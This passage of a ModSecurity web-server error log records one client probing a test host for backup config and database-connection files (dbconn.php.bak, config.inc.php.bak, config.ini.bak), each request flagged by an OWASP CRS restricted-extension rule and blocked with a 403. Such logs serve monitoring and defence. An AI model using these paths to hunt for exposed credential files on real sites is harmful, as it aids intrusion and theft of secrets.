&quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_ucenter.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimQAAAAE&quot;]
[Thu Feb 26 01:03:32.140065 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_ucenter.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimQAAAAE&quot;]
[Thu Feb 26 01:03:32.140234 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_ucenter.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimQAAAAE&quot;]
[Thu Feb 26 01:03:32.151885 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.asp.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizyQAAAAA&quot;]
[Thu Feb 26 01:03:32.152405 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.asp.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizyQAAAAA&quot;]
[Thu Feb 26 01:03:32.152574 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.asp.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizyQAAAAA&quot;]
[Thu Feb 26 01:03:32.167273 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_global.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimgAAAAE&quot;]
[Thu Feb 26 01:03:32.167765 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_global.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimgAAAAE&quot;]
[Thu Feb 26 01:03:32.167928 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_global.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimgAAAAE&quot;]
[Thu Feb 26 01:03:32.197049 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.asp.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizygAAAAA&quot;]
[Thu Feb 26 01:03:32.197731 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitrix/php_interface/dbconn.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimwAAAAE&quot;]
[Thu Feb 26 01:03:32.197785 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.asp.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizygAAAAA&quot;]
[Thu Feb 26 01:03:32.198032 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.asp.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizygAAAAA&quot;]
[Thu Feb 26 01:03:32.198225 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitrix/php_interface/dbconn.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimwAAAAE&quot;]
[Thu Feb 26 01:03:32.198404 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitrix/php_interface/dbconn.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLimwAAAAE&quot;]
[Thu Feb 26 01:03:32.225877 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uc_server/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLinAAAAAE&quot;]
[Thu Feb 26 01:03:32.226400 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uc_server/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLinAAAAAE&quot;]
[Thu Feb 26 01:03:32.226578 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uc_server/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1DAL5Lg_nL66HcLinAAAAAE&quot;]
[Thu Feb 26 01:03:32.232712 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.jsp.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizywAAAAA&quot;]
[Thu Feb 26 01:03:32.233426 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.jsp.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizywAAAAA&quot;]
[Thu Feb 26 01:03:32.233639 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.jsp.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizywAAAAA&quot;]
[Thu Feb 26 01:03:32.273607 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzAAAAAA&quot;]
[Thu Feb 26 01:03:32.274062 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzAAAAAA&quot;]
[Thu Feb 26 01:03:32.274209 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzAAAAAA&quot;]
[Thu Feb 26 01:03:32.298803 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzQAAAAA&quot;]
[Thu Feb 26 01:03:32.299290 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzQAAAAA&quot;]
[Thu Feb 26 01:03:32.299445 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1CSJSniLip0oFXizzQAAAAA&quot;]
[Thu Feb 26 01:03:32.321123 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl8AAAAAI&quot;]
